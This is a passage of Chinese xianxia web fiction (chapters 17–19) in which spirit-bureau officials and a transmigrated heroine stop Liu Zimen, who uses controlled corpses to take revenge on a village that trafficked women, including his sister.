上京城中,花市灯如昼,巍巍皇城里,司灵监的烛火未熄,江荨刚踏进官署便命人将刘子闻和敬王府林管家的资料全部拿出来翻阅。
江荨坐在桌案前查阅已经找出来的资料,手下的人过了一会儿才又拿来新的,对她说:“监副,这些已经是刘子闻的全部资料了,此人背景简单,孤苦伶仃,有什么问题吗?”
江荨将看完的资料一合,道:“刘子闻早年是临安人,进京赶考后却逢家中突变放弃科考,此后便退居山中,同年敬王府新进了一个林管家。”
无忧听完,略思索了一下,问道:“监副是怀疑林管家和刘子闻是同一人?”
江荨眉眼坚定,目光直视着前方,答:“不是怀疑,是一定。”
若不是柳凝雪传信给她,她也不能如此笃定,江荨又问道:“阿忧,刘子闻是不是曾有一个妹妹?”
无忧望着她正微微出神着,被江荨这么一问,忙回道:“是的,卷宗上有写到,他的妹妹是他的继母带着嫁进刘家的,两人并没有血缘关系,但就在刘子闻进京的两年后,他的妹妹失踪了,他的家人为了找他的妹妹散尽家财,最后都没有找到。”
江荨听到此处,眉头已然蹙起,忽地想起之前去黄家村时那些村民赶自己的情形,联想柳凝雪给自己传的信,她问道:“黄家村是个什么样的村子?此前有没有官府断过冤案?”
无忧眉间跟着微微皱起来,道:“黄家村?”
他对律法断案极感兴趣,自然也对上京大大小小的案件了如指掌,他回想了一下,道:“黄家村因离京城较远,所以那里的村民大多不服管教,顶撞官员,要说有谁判了黄家村冤案,倒真没听说过。”
江荨脸色越发地沉了,道:“那黄家村有没有因为拐卖女子而被抓的事情。”
无忧点头,道:“有。”
江荨握紧了手上的案宗,吩咐他:“你将有关黄家村所有案件的卷宗都戴上,再和司灵监的人赶往黄家村,我去办一件事情。”
说完,江荨便急匆匆地出了司灵监,黄家村既然有过拐卖的案例,那么就不可能只有被发现这一起,且拐卖通常会形成一条产业链,刘子闻妹妹的失踪很可能就和他们有关,他住在黄家村旁边多年,不可能不知道这件事,可他对黄家村这些年来所做的事充耳不闻,还在旁边养了大片的凶尸。
他想干嘛?屠村吗?
可他要真想屠村为妹妹报仇的话,那他为什么一直不动手,不仅等到现在,还在上京城里养凶尸。
江荨骑着马朝着城门狂奔着,紧蹙的眉头始终未松,一路上城里有不少发丧的队伍,听说这些都是前几日上京城邪祟作乱死的人。
发丧的队伍一个跟着一个,哭哭啼啼地前行着,江荨勒马停下,环顾了周围一圈,这也太多死人了吧?
其中有一家排面最大的,江荨认出来了,那是定国公府的国公夫人,自那次她被人脸怪伤到后,就没撑过两天便去世了。
江荨回想了一下当时的场景,她记得定国公夫人当时并没有伤得很重啊。
后面丧队的铃声传来,在深夜的街道显得极其空灵,江荨策马闪到一边,同时她从马上下来,向路过的丧队微微躬身。
可当丧队行至城门时,她之前挂在城门那的识邪铃突然剧烈响动起来,江荨猛地抬头,她就知道,既然选择在上京养凶尸,那就不可能只在敬王府养。
原本打算开城门让国公府出去的兵士顿时警惕起来,国公府的人也皆惊慌不已,低声问身边的人,道:“这怎么回事啊?”
识邪铃还在震摇着,众人正慌乱无措之际,江荨牵着马上前,道:“先不要开城门。”
城门守卫一见江荨,便心安许多,忙上前迎她,道:“江大人,小的也不知道怎么回事,今日这识邪铃突然这么响了。”
张迁见是她走来,拱手行礼,江荨颔首回礼,道:“将棺材打开。”
就要下葬的棺材忽然要打开,无疑是很晦气的事,定国公府的人自然也是不肯的,张迁脸色一变,不悦道:“江大人,你这是作何?”
江荨拱手道:“定国公,得罪了,这棺材今日必须要打开,如果耽误了时机,你们都得问罪。”
这话一出,国公府的人都静默下来了,江家他们无疑是不想得罪的,可打开棺材也是不可能的。
张永明走上去挡在张迁身前,道:“江大人,此举怕是不好吧?”
江荨还是一拱手,道:“张世子,还是那句话,得罪了。”
说着,她从袖下取出一个星盘,紧接着又在星盘上施法,星盘随着她的动作颤抖起来,而棺材板也跟着晃动,其余人都躲得远远的,唯独张永明一人过去抓住江荨的手腕,道:“江大人你……”
话还没说完,他就被江荨一把推开几步开外,江荨手上的星盘快速运转着,只听砰的一声巨响,棺材板就这么炸开了,而已经死去的国公夫人就在此时,双手突然举了起来,旁的人见此状,逃的逃,散的散。
张永明怔怔地站在原地,张着嘴巴一句话也说不出来。
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柳凝雪使劲挣扎着,想要弄开手上的绳子,可到最后都是徒劳无功,忽地,屋中突然传来一阵叮铃铃的响动,柳凝雪停下手中的动作,仔细分辨着声音传来的方向,下一刻,便有一只手猛地掐住了她的下巴,再伸出两根东西在她喉头搅动着。
那是两根手指,且带着浓重的尸臭味,柳凝雪被她搅得胃里翻涌,充斥鼻尖的臭味让她哇地一下吐了出来。
她虚弱地问:“你……给我吃了什么……”
粘腻圆滑的东西滚过她的喉咙,柳凝雪弯着腰拼命想要吐出却无可奈何,随即她就感受到腹部刺痛无比,她难受地皱起眉头,脸色煞白,额上沁出滴滴冷汗,疼痛持续了几分钟才停下。
柳凝雪瘫坐在凳子上,清楚地听见外面的刘子闻费力地说道:“你以为你赢了吗?我已经给柳凝雪下了剧毒,如果一刻钟内没服用解药,她就会变成凶尸。”
然而还没等柳凝雪庆幸,她就听到谢玄淮冷笑一声,说道:“她是死是活,与我何干?”<
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柳凝雪当即就“呸”了一下,在心里狠骂他狼心狗肺的谢玄淮!人这么能冷漠成这样,她当初就是瞎了眼了才会救下他。
他们最后的谈话被嘈杂声淹没,柳凝雪没听清,一想到自己就这么死了,心情更低落了,纷乱的嘈杂声中,屋门被人砰地打开了,被打开的门掀起阵阵凉风,柳凝雪正想着,下一秒,一个冰凉凉的物件搭在了自己的脖颈上。
感受到这片凉意,柳凝雪倒吸一口凉气,没人比她更熟悉这是什么东西了,她吓得慌忙喊道:“别别别,别杀我别杀我,你要什么我都给你啊。”
话落,那人却没有要停手的意思,柳凝雪暗感此生将尽,开始变得口无遮拦,骂说:“谢玄淮,你个狗东西,我就是看错眼了才会嫁给你!你个连妻子都护不住的废物!”
骂完一通,柳凝雪便觉消气多了,结果刚骂完就听见一道冷冰冰的声音说:“你说谁是护不住妻子的废物?”
他的嗓音宛如山上终年不化的雪,透着刺骨的寒冷,柳凝雪全身的血液在此刻瞬间凝固了,肩膀禁不住颤抖起来,心里在疯狂艾特系统,可系统就像死了一样,屁声不放一个。
完了完了,这下真的完了啊!
谢玄淮见她不语,又如机械般毫无感情地重复这句话,“你说谁是护不住妻子的废物?”
柳凝雪哪里敢回他的话,只觉此命休矣。
谢玄淮微微颤抖的手扶上了她的脸,感受着手下人因极度恐惧而泛起的轻微战栗,他的手很凉,沾染了血气,闻之欲呕,柳凝雪忍住胃里的恶心,咬着牙不敢说话。
他忽地笑了起来,泛着微红的眼尾染着病态的癫狂,漆黑的瞳仁一动不动地看着她,犹如索命的厉鬼,他语气轻飘飘的,对她说:“世子妃,你睁开眼睛看看你的夫君啊。”
“我……”柳凝雪抖着身体,艰难地挤出一个字,下一瞬,她眼上的红带飘然滑落,正对上谢玄淮极具深意的眼,他挑了挑眉,道:“世子妃?我是废物?”
柳凝雪:“……”
她脸上讪讪一笑,说:“误会……误会……你不是废物,你是神仙。”
“你是神仙,神仙大人,您大人不计小人过,您就放过我吧。”
谢玄淮面色似乎缓和了些,他收回了剑,柳凝雪心下一喜,忙又喊道:“那……神仙帮我松个绑,好吗?”
谢玄淮将剑插回剑鞘中,说:“难道你对救你的每一个人都称神仙吗?”
柳凝雪想都没想就道:“不是,只有你是唯一的神仙。”
谢玄淮听完唇角微微勾起,绕到她身后将绳子解开,恢复自由的柳凝雪活动了手脚,绑了这么久,她都要麻了。
谢玄淮抱臂站在一旁,好整以暇地看着她,觉察到他的目光,柳凝雪坚硬地别过头去看他,这时,小腹忽地又传来阵阵刺痛,她忙弯下腰,捂住了肚子,痛得说不出一句话来,她果然还是要死吗?
她艰难地开口道:“谢玄淮,我……”
话还没说完,柳凝雪便觉两眼一黑,晕了过去。
17. 谋划(七)
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星盘具有辨别邪祟,识方位的功能,且在修为高的人的手中还有布阵的作用,江荨拿着星盘对着定国公夫人的棺材,坚韧的眉目露出了少见的阴狠。
张永明定定地看着她的动作,一时忘了反应,身后的亲朋早已乱成了一锅粥,他这才想起要先将亲人安抚下来。
张永明喊道:“不要乱!来人将国公和各位公子小姐先送回去。”
跟着的家丁听命令上前来将晕倒或是腿软走不动路的贵人扶走,江荨极力镇压着邪气,为他们争取逃跑的时间,她抽空扫了一眼张永明,心里想,此人还不算太蠢。
星盘的压制有限,等人散得差不多后,星盘就发出了剧烈震响,江荨忙施法收回星盘,邪祟太过强大,若继续以星盘压制,不过多久星盘就会裂开,甚至毁掉。
就在江荨收回星盘的那一刻,本来只是举着手的定国公夫人两手攀在棺材边缘,撑着坐起身,她身上全是死人般的惨白,原本修正好的指甲陡然长出了几寸长。
江荨抽出一张符纸画阵,这时,定国公夫人已经一个跳跃落到了地上,目睹一切的张永明颤抖着嘴唇吓得说不出话来,他怎么也不敢相信自己的母亲变成了这个样子,他怔怔地喊了声,“江大人……我母亲她。”
江荨这才发现他还没走,不由地蹙起眉头,道:“你也走。”
“我……”张永明咽了下口水,原本自己待着这里还想着能不能帮上江荨的忙,好歹自己也是学过一些术法的,可如今见这般,哪里还需要自己的样子,说不定还会拖江荨的后腿。
是以,在江荨说出那句话的时候,张永明立即离开了,说道:“此事就拜托江大人了,来日我国公府定当好好谢过江大人。”
说完这段话时,他人已经跑没影了,没有旁人在场,江荨也有了发挥的空间,她十指一动,符纸在她指尖翻转着,发出异样的光芒,下一刻,这张被施了咒的符纸便分成了好几张在她眼前一字排开。
江荨口中念道:“缚邪阵,启。”
随即,那几张符纸便齐齐飞向定国公夫人,将她团团围住,这几个动作不过就在顷刻间,江荨何其熟练,定国公夫人根本来不及反应,她茫然地看着围着她的符纸,凶尸没有独立思考的能力,凭着本能去吸取人血及精气。
定国公夫人凭借着她强大的邪祟之气,想要直接撞破此阵法,江荨极力压制着她,想要将她困在此阵法中再行收服。
可她低估了定国公夫人的邪祟之气,挣扎了片刻,竟真的让她硬生生挣开了,阵法被破,汇集的法力反噬至江荨身前,她忙施法作挡,紧接着,便见定国公夫人一个跳跃来到她面前,利爪一伸,试图抓住江荨。
江荨凭着本能往后一退,手往身上一摸才知,自己出来得着急竟然没多带什么法器。
江荨暗骂了一句,就听耳边有人喊:“江大人,接着!”
话音一落,江荨就听到了利剑出鞘的声音,她一个转身躲开定国公夫人的攻击,再接住守城兵卫丢过来的剑,动作利落,不拖泥带水。
有了剑的相助,江荨对付起来也得心应手许多,和定国公夫人打了个平手,再有符纸阵法的加持下,定国公夫人渐渐败退,她似也知道自己不敌,竟不恋战,转身朝着一个方向跳去。
江荨暗道不好,那里是城中区,居民众多,若是让她去那里,势必会麻烦至极。
江荨提剑上前欲挡住她的去路,不料不知道哪里冲出一团黑雾直击她的右臂,邪气侵入体内,江荨握剑的手一颤。
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弦月高挂,树头枝丫摇曳,在轻风中晃荡,偶尔响起的鸟鸣声在此时显得有几分突兀。
柳凝雪紧闭的眼睫微颤,原本安详的睡容此刻眉头蹙起,昭示着她不安的梦境,腹部的疼痛缓和了许多,她缓缓睁开眼睛,朦胧的睡眼在睁开的第一刻,看到的人就是谢玄淮。
他依旧是那副好整以暇的面容,柳凝雪也不知道他这样子看了自己多久,一想到被一个阴晴不定的疯子盯着睡觉,她脊背就忍不住发寒。
她抬手摸了摸脖颈,还好,没有伤痕。
柳凝雪清了清嗓子,带着微哑的声音开口问:“你……一直盯着我作什么?”
谢玄淮维持着半蹲的姿势,以手撑着下颌,上下打量了她几遍,说道:“我现在才发现,你似乎长得也还可以,虽然没有倾国倾城,倒也还说得过去。”
柳凝雪当即一黑,道:“哦,那又怎么样?你娘没有告诉你不要随便对别人评头论足吗?”
谢玄淮一脸坦然,道:“倒还真没有,毕竟,我自打出生就没有娘。”
柳凝雪怔了一下,一时竟不知该说何,再者,他说这话时又极其的云淡风轻,这让她更愧疚了。
“抱歉。”她低低说了声。
谢玄淮却故意问:“你说什么?”
以他的耳力,不可能听不到,柳凝雪一下子就没有了什么同情心,与其同情他,倒不如好好想想自己的小命怎么办。
莫名其妙穿进这个操蛋世界,不仅任务没完成,还把自己的小命给丢了,怎么想都觉得自己亏。
再看眼前谢玄淮一脸无所事事,心里就更不舒服了,她低着眸闷闷道:“虽然我们没有什么感情,但我死了之后,你还是要为我守孝三……十年……,这期间你不能纵酒取乐,另寻新欢。”
反正只是说说,谢玄淮也不一定会守,倒不如梦个大的。
谁知,话刚说完,谢玄淮就笑说:“好。”
这么简单就答应了?柳凝雪感觉自己简直就是在做梦。
看着她微微震惊的眼神,谢玄淮又说:“你在想自己是不是在做梦?”
柳凝雪更震惊了,却听谢玄淮笑道:“没错,你就是在做梦。”
“我……”柳凝雪被气得没脾气了,碍于面子,她没将后半句脏话说出来。
但转念一想,刘子闻不是说她吃了这个毒一刻钟之后就会身亡吗?那她现在是在干嘛?
她猛地抬眸对上谢玄淮微微勾起唇瓣的脸,瞬间明白了什么,她真是气笑了,道:“你又骗我。”
谢玄淮不以为然,道:“我怎么骗你了?你不也没问吗?”
柳凝雪瞪了他一眼,转而打量周围的环境,发现自己还在小黑屋这里,不过谢玄淮将自己挪到了屋外的树下坐着,四周躺着几具凶尸,剩下的全是脏乱臭的衣服。
柳凝雪愣了一会儿,才道:“这些都不是真的凶尸,只是用邪气撑起来化
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形的。”
要不然,刘子闻哪有那么多尸体炼凶尸。
柳凝雪问道:“沈大哥呢?”
她记得当时也听到了沈如珩的声音。
谢玄淮道:“我让他回去了。”
柳凝雪想,回去也好。
她又问:“苍生剑呢?”
谢玄淮道:“一并带回去了。”
柳凝雪的目光这时才落到他身上,细细打量着他,发觉他身上手臂上有几道大大小小的伤口,但不像凶尸留下伤口,倒更像是剑伤。
柳凝雪蹙眉道:“你的伤……”
谢玄淮的眸色沉了沉,声音冷了几分,道:“不用你管。”
柳凝雪当即便不爽了,这态度,她还不想管了呢!
一气之下,柳凝雪站起来就想一走了之,但又想到毕竟人家也救了自己,心里的怨气也少了些许,缓和了语气对谢玄淮道:“走吗?”
谢玄淮点头道:“走。”
柳凝雪扫视了周围一圈,也没见刘子闻的尸体,又问他:“刘子闻呢?”
以谢玄淮的手段不可能让他还活着的,谢玄淮无所谓道:“逃了。”
“哦。”柳凝雪应了声,见他没有再谈下去的兴趣,便也没再问了。
--
利爪撞击长剑的声音在空荡的街道频响,四周的邪气不断向这边汇集,江荨捂着受伤的右臂停至一旁,随着定国公夫人不断地吸收邪气,想要收服的难度又增大了不少。
在一回回地对打下来,江荨的力气也逐渐透支,她拧眉看着国公夫人,下一秒,她毅然丢开手中的剑,取出星盘,咬破食指,将血珠滴在上面。
修道之人的血脉本就与常人有异,何况江荨修为更高,身怀灵血,灵血祭星盘,其威力可想而知。
血滴入星盘的那一刻,星盘立即迸发出一道极亮的光芒,一张血红的灵符从星盘升起至江荨眼前,不到万不得已,她是不会轻易动用血灵符的,血灵符极为亏损身体,可现在的情况已经不容她多想了。
如若不及时收服定国公夫人,将会有更多人遇害,届时上京城将不再安宁。
也就是在这时,她收到了无忧的传信符,上京城多处邪祟作乱,司灵监和钦天监同时出动收服镇压邪祟。
等不了了。
江荨一念既下,她两指掐诀,口中迅速念着咒语,星盘随着她的动作也急速转动起来,血灵符的红色越来越深,一道符再分出几道,几道再分出数道。
分出去的血灵符再次将定国公夫人团团围了起来,彼时的定国公夫人也吸收够了邪气,她试图再次冲破阵法,江荨极力镇压,她每冲撞一次,阵法的余威都会反噬到江荨身上。
历经几次冲撞,江荨再支撑不住,吐出一口血来,守城门的卫兵见状,也跟着提心吊胆起来。
“江大人不会有事吧?”
“江大人吐血了,情况不妙啊,怎么办啊?不行,我要出去帮她。”
“你干什么?你现在出去就是等死!相信江大人,我们一点术法都不会,根本不是那只鬼的对手。”
城门处有江荨留下的阵法,暂时安全,躲在城门下的卫兵焦灼地看着江荨的动作,现在的她已经是在力尽的边缘了。
18. 惊变
江荨额头满是汗珠,尽管如此,她还是不会放弃手上的星盘,定国公夫人邪气大增,江荨又往星盘中注入灵血数滴。
吸入过多灵血的星盘突然大动起来,阵法变得更强,围着国公夫人的血符一点一点收紧,这次无论她再怎么挣扎都无可奈何。
江荨咬紧牙关,低喝一声,“收。”
血灵符猛地收束,将国公夫人困在阵中,江荨见时机已到,再祭出宝塔,彻底将她收压。
江荨收回九层塔,心里的一块大石落下,同时她也力气透支,身体不稳单膝跪倒在地,躲在一处的卫兵忙走上来将她扶起,关切问道:“江大人,你没事吧?江大人……”
江荨只觉阵阵耳鸣,听不清他们说的话,对他们道:“扶我去歇息一下。”
卫兵应偌,将她扶至城门旁的隔间,江荨着地打坐,这时,沈如珩又给烧了传信符给她,说:“黄家村有大批凶尸动乱,我先行除邪。”
江荨看完信,噗地又吐出一口血来,血灵符消耗她太多精力了,外加破阵的反噬,现在的身体早已不堪重负。
江荨运灵力恢复了一□□能,再取出一颗药丹服下,待身体好一点后,她又站起身,对守城门的卫兵道:“我要出城,事不宜迟,开城门。”
她神色严肃,众人不敢有忤逆,忙催促着打开了城门让她出去。
江荨翻身上马时,顺带取走了城门处的一把弓,她冒着夜色前进,紧皱的眉头始终没有松开一分,她想她猜对了,刘子闻就是要屠村。
他在上京城里释放邪气,豢养凶尸,给司灵监和钦天监的制造麻烦,就为了给他屠村拖延时间,他之所以在此时动手,无非就是打定主意,钦天监监长和司灵监监长不在。
江荨想着,不免加快了速度,势必要在刘子闻动手之前阻止他。
上京城中笼罩着的邪气蔓延至城郊各处,引得各地的邪祟乱动,黄家村外,沈如珩提剑作挡,拖延凶尸进村的速度,苍生剑有灵,不用操控自会与凶尸对抗。
眼见凶尸越来越多了,沈如珩两指一并,让长剑在自己眼前悬空,随即口中低念几句咒语,长剑便分出数把齐齐向凶尸刺去,长剑一连刺穿好几个凶尸的身体,那些被剑刺穿的凶尸顷刻间化为灰烬消散。
剑阵对沈如珩的身体消耗极大,他体力不支单膝跪了下来,修长的手指紧握着剑柄,三分之一的剑身插.进了地里。
因过于用力使得手背上的青筋爆起,他额上泛起细密的汗珠,这时,空旷的山野里忽然传来一阵铃响,这段铃声让原本败退的凶尸突然邪气大增,变得凶猛无比,沈如珩脸色一变,忙翻身躲过抓过来的凶尸。
可他两日劳累未曾休息,现在也只是强弩之末,铃声一阵接着一阵,夜色中隐隐见一人拿着银铃向他走来。
刘子闻手握银铃,走到沈如珩身前,对他说道:“沈大人,何必苦苦支撑?现在你让开的话,我可以留你一条命,我并无意杀你。”
沈如珩抹了一把唇边溢出的血,道:“不让。”
刘子闻看了他一会儿,便后退几步道:“那很抱歉。”
说完,他继续摇动着手中的铃铛,那些凶尸皆听他的号令,一拥而上,沈如珩迅速取出一颗药丹服下,强逼自己打起精神来对付凶尸。
望着被凶尸围攻着的沈如珩,刘子闻眼底一片冰冷,面容阴鸷,今晚,谁也被想阻止他。
“哼!”刘子闻冷笑一声,转身欲走,便在这时,一把剑突然刺来,他一时不防,往后踉跄了几步站稳,利剑擦着他眼前而过,盯在不远处的树上。
他冷喝一声,“谁?!”
刘子闻说着偏头一看,就见柳凝雪站在前方的小山丘上,她一脸庆幸地说:“赶上了赶上了,还好赶上了。”
刘子闻眼眸眯起,打量着柳凝雪道:“是你。”
柳凝雪双手叉腰,说道:“怎么?我没死,你很意外?”
刘子闻冷笑道:“不好好珍惜自己的命,跑这里来送死。”
柳凝雪道:“刘子闻,我知道黄家村的人和你的有仇,但你豢养凶尸,可曾想过一旦这些凶尸不受你控制,会有多少无辜百姓受累?”
刘子闻依旧冷声,道:“受累?与我何干?我只要我的计划成功。”
“你放屁!”柳凝雪指着他骂道,“你为了一己私情,搭上无数人的性命,你个狗东西,你简直不配为人!”
刘子闻道:“为不为人,我不在乎,我只要他们为我的妹妹偿命。”
柳凝雪道:“既然是行拐卖之事,你为何不报官?律法自会制裁他们。”
刘子闻笑道:“报官?报官有何用?我妹妹已经死了,我要的是他们一命尝一命,我谋划了这么久,今晚谁也别想阻止我。”
说完,他又摇动手中的铃铛,引来一批凶尸,柳凝雪忙抽符纸应对,刘子闻隐忍了这么多年,养的凶尸极多,为的就是今晚万无一失。
他现在完全就是个疯子,柳凝雪知道自己劝不动他,便专心应对凶尸,见沈如珩吃力,她忙把一沓符纸丢给沈如珩,道:“沈大哥!接着!”
她自有玉佩护体,力尽的沈如珩正是需要符纸的时候,沈如珩闻声,精准接住她丢过来的符纸,有了符纸布阵便更加容易,一个阵布下,就灭掉十几个凶尸,这些凶尸量大,攻击力却弱。
刘子闻见状也并不着急,他抬手将铃铛一摇,又招来一批凶尸,柳凝雪意识他想耗死他们,唯一的办法就是把他手里的铃铛夺过来。
想着,柳凝雪朝刘子闻奔去,可奇怪的是那些凶尸却像是疯了一样,涌向她,刘子闻也觉得奇怪,自己并没有操控这么多凶尸去杀她。
见凶尸往自己这边过来,他快速摇起铃铛,但那些凶尸却不受他控制了!
刘子闻脸色一变,不再理会他们,转身快步离开,柳凝雪当然不可能让他这么轻易就走,她从衣袖里摸出两颗棋子,一黑一白,终于派上用场了。
她五指掐着棋子往刘子闻脚下一丢,念道:“河洛阴阳生四象!”
“囚笼,困!”
那两
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枚棋子散在刘子闻两边升起一道光亮,将他团团围住,他转过另一面想走,棋子也跟着转了个方向。
幸好之前穿书时学的术法没忘,此阵法既能困人也能困邪,当时她只觉这个用棋子的术法帅便跟着谢玄淮学了,没想到会在这里用上。
柳凝雪说:“你别费劲了,这个阵法除了我没人能解开。”
围棋本身就是多变难以掌控的,用围棋布的阵自然也是多变难以控制的。
阵法易布难解,当时为了学习解法,柳凝雪下了不少功夫。
刘子闻听完果然不再动了,安分地站在原地,这反倒让柳凝雪起了几分疑心。
她走到他身边,将插在树上的剑拔下来,然而,下一秒,树下便倒吊下来一凶尸,而她的模样竟然是若蝉的样子!
柳凝雪心脏猛地一跳,往后倒退了几步,吓得脏话脱口而出,“我草!”
她往后退了数步,不料脚下一个不稳倒了下去,刹那间,一条强劲有力的手臂横过将她一把捞起抱在怀里,柳凝雪转头看去,正是谢玄淮那张脸。
她颇为惊讶庆幸道:“你回来了!”
谢玄淮没什么表情地点了点头,道:“嗯。”
来之前,她就以教他河洛阴阳四象阵为由,让他去其他地方布下阵法,当然这个阵法是困黄家村的人的,这么大的动静,肯定会有人发觉并逃走,但他们全村参与拐卖妇女,一个也别想走。
柳凝雪对刘子闻道:“刘子闻,你放弃吧!”
刘子闻笑了起来,道:“我?放弃?你觉得可能吗?”
还未等柳凝雪理解他话里的意思,只见他又摇动了铃铛,铃铛骤响,山野里响起了一片鬼哭狼嚎声,凄厉无比,刘子闻道:“好戏还在后头。”
话落的那一刻,一只指甲极长的鬼爪从谢玄淮身后抓了过来,谢玄淮反应极为灵敏,一个闪身躲过了攻击,女鬼并未停下动作,见他躲过,又迅速扑了上去。
沈如珩尽力剿灭凶尸,他自知这样下去不是办法,但他若是松懈,身后的村民便会死。
他倒不是什么善心大发,只是那些的村民的戾气极重,死后的邪气足以变成怨鬼,怨鬼可比一般的凶尸难对付极了。
攻击谢玄淮的女鬼明显与其他的凶尸不同,柳凝雪神情一变,道:“这是怨鬼。”
刘子闻道:“世子妃聪慧。”
说完,围着他的阵法突然砰一声炸开了,柳凝雪瞪大了双眼,见阵法异动,她抬头扫了周围一圈,果见不远处的树上有人在拿着棋子帮刘子闻解阵。
不出片刻,她布下的阵法便被破了,刘子闻从中走出,眼眸抬起,面色变得狠戾,说:“你们都给我去死吧。”
话落,怨鬼的攻势忽地增强,谢玄淮手中的剑是普通的长剑,并不足以对怨鬼构成伤害,柳凝雪望着苍生剑,喊道:“苍生剑!去帮他。”
苍生剑闻言,朝她这边飞了过来,势如破风,然而这一剑却是刺向谢玄淮的!
柳凝雪面上一惊,怎么会变成这样?!
19. 屠村
突变来得措不及防,柳凝雪惊喊一声,“谢玄淮!”
谢玄淮一愣,在长剑即将穿破他的喉咙时,一个侧身疾速躲过,身形迅速,形如鬼魅。
苍生剑擦着他的发梢而过,割断丝丝缕缕的墨发,谢玄淮往后倒退数步,苍生剑似是决意要杀了他,转了个圈,又绕回来对准谢玄淮。
柳凝雪拧眉看着眼前的一剑一人,心里疑惑至极,苍生剑只针对邪祟这是毋庸置疑的,可它为什么会想杀了谢玄淮?
来不及多想,沈如珩已经同柳凝雪一起过去制止苍生剑了,沈如珩一手握剑,压制着苍生剑的异动,柳凝雪适时将剑鞘递给他,将剑封进剑鞘里。
即使如此,苍生剑还在急促地震动着,柳凝雪目光复杂,说道:“先将这里的凶尸除掉再说。”
刘子闻却没有那么多耐心等他们了,在凶尸拖住他们的时转身离开,沈如珩见状,拿过柳凝雪手上的剑用尽力气朝刘子闻掷去,长剑不偏不倚,刺中了他的手臂。
刘子闻拿着铃铛的手一颤,他转头看着那把剑,毫不犹豫地将剑拔了出来。
奔涌而出的鲜血染红了他的衣袖,他却像是浑不知疼痛般一步一步地向前走去。
今晚的计划不能失败。
刘子闻咬着牙,手臂上的刺痛让他更加清醒,脑海里不断浮现妹妹被人凌辱的画面,这些回忆何其清晰,当年他离家数年进京赶考,这是他第一次离开她这么久。
他以为自己对她不过是兄妹情谊,可随着度过无数个煎熬的夜晚,他的思念疯长,提笔落笔皆是她的一颦一笑,他这时才明白自己对她何止兄妹情谊。
可与此同时,家中突然传来妹妹失踪的消息,父母散尽家财却一点线索也无,后来他发现上京城外有一条拐卖女子的村子,那些被拐的女子当中有一个便是自己的妹妹。
他自然想过要报官,可熟知律法的他明白,律法惩治的不过是杀了他妹妹的人,而他要的是所有知情不救,落井下石的人全都死于非命,否则对不起他妹妹的惨死,不死何以解恨。
“邪祟!是邪祟!!!快跑!”
一声惊吓打破村庄寂静的夜晚,屋中惊醒的人连衣服都来不及穿就连滚带爬地逃命,村民提着灯火逃命,大批的凶尸涌进村庄见人就扑,利齿啃上村民的脖颈,贪婪地吸吮着人类的血液。
被打落的灯火点燃干柴,一时猛地燃起熊熊烈火,火光冲天的村庄里乱民逃串,惨叫连天,刘子闻站在山丘上望着底下的村民,只感到一阵快意,他放声大笑起来,眼角出偶有泪光闪过。
他恨声道:“你们都该死!你们都该死!”
他神色几近癫狂,像个疯子般,疯狂摇动着手中的铃铛,凶尸被铃声控制着,也变得疯狂至极,奋力撕咬着村民。
“咻!--”
利箭破风而来的声响在此时突兀的传来,刘子闻脸色顿时一变,想要躲过,却无奈还是迟了一步,利箭划破了他的脸,带出一道血痕。
刘子闻回头看去,正见江荨坐在马上,拈弓搭箭对准了自己,她眼神锐利,非比寻常,眉宇间自有一股置人于死地的阴狠冷漠,风中飘飞的衣摆似夺人命于无形的白绫。
“咻!”
又是一道利箭射出,刘子闻堪堪避过,不料江荨连发三箭,一支正中他左肩,箭头没入肩膀深处,鲜血喷涌而出,刘子闻手中紧紧握着铃铛,右手用力拔出羽箭。
江荨冷着脸再搭一支利箭,对准了刘子闻,刘子闻咬着牙,吐出一口稠血,他知道自己要死了,可他不甘,他没有看到黄家村全村覆灭的样子,他的妹妹不能就这么死去。
“咻!”
第三支箭射出,这一支箭硬生生射穿了他的左肩,刘子闻噗地吐出一大口血,双膝重重跪到地上,鲜血染红蓝衣,整个人变得凌乱不堪,双目瞪大,至死都不放开手中的铃铛。
江荨也在三箭过后也力尽而倒下,她两眼一闭,任由自己从马上坠落,沈如珩眼疾手快,快步上前将她接住,蹙眉喊道:“师妹!”
柳凝雪焦急地看着两人,将江荨没事,心才稍稍安下来,她回头看向谢玄淮,尽管他没被苍生剑伤到,但多多少少受到了它强劲的剑气影响,他思绪混乱,脑子嗡嗡作响,神智不清时,他看到了柳凝雪朝自己走来。
柳凝雪忙扶住了他,问道:“谢玄淮,你没事吧?”
她眼里担忧不似做假,谢玄淮盯着她看了一眼,似在分辨她是真情还是假意,可还没来得及多想便晕了过去。
见谢玄淮倒在自己的怀里,柳凝雪一时愣住了,也不敢多动,说:“谢……谢玄淮。”
没有了铃铛的控制,凶尸的攻击力一下子弱了下来,恰逢此时钦天监和司灵监的人赶到收尾,柳凝雪随意找了个人帮她扶着谢玄淮,即使谢玄淮年岁十七,原主已十九,但他的体重对她来说还是太重了。
无忧赶到时,现场一片混乱,他过去将刘子闻手中的铃铛取下,银铃随着山野清风轻微晃动,清脆悦耳。
“叮铃铃--”
银铃声音清脆而绵长,停在道路上的马车四角挂着的铃铛铃声未停,悠悠传进马车里,车夫道:“公子,走吗?”
话落片刻,马车里探出一把长剑将车帘挑起,银亮的剑身散发着寒光,车里的人眼眸轻抬,望着不远处山头升起的邪气和火光,缓缓吐出一个字,道:“走。”
--
经过了几天的劳累,柳凝雪总算能够回去好好休息了,上京城被邪祟搞了一夜也迅速恢复了正常,每后后当邪祟作乱过后,司灵监一般会摘录当事人的口供。
休息了一天的柳凝雪刚醒就有司灵监的人上门来请她去了,时值夜晚,柳凝雪稍微整理了一下,就跟着司灵监的人去录口供。
她来到司灵监时,恰好碰见江荨,柳凝雪惊讶道:“江姐姐?”
江荨见到她也微微惊讶,道:“世子妃。”
柳凝雪问道:“你怎么了司灵监了?这个时候你不应该好好休息吗?”
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毕竟江荨受的伤可不比谢玄淮的轻,如今谢玄淮还未醒,她却已经来司灵监了。
江荨道:“我来司灵监处理事务,那些伤不足为惧。”
柳凝雪道:“哦哦,好的。”
话落,她便跟着江荨一道进了司灵监,不过江荨是去审讯犯人的,听说新抓来的村民中有几位不服。
司灵监的人简单问了柳凝雪几句就放她离开了,柳凝雪出去时经过审讯室,偶见江荨站在几位村民的旁边,手中拿着一份档案,那几位村民她认得,便是那天痛述上京官员断错案的人。
此时的她还在哭喊着,“你们这些狗官!还我儿子命来!你们视人命如草芥!你们……”
江荨眉头一蹙,将手上的档案愤然甩她脸上,道:“你还敢说官员断错了案!你的儿子奸.杀刑部尚书庶女,没诛你满门已是仁慈!你们黄家村与外人勾结,买卖妇女,上下一心,就算是死一百遍也不为过!”
“来人!将他们送去刑部!”
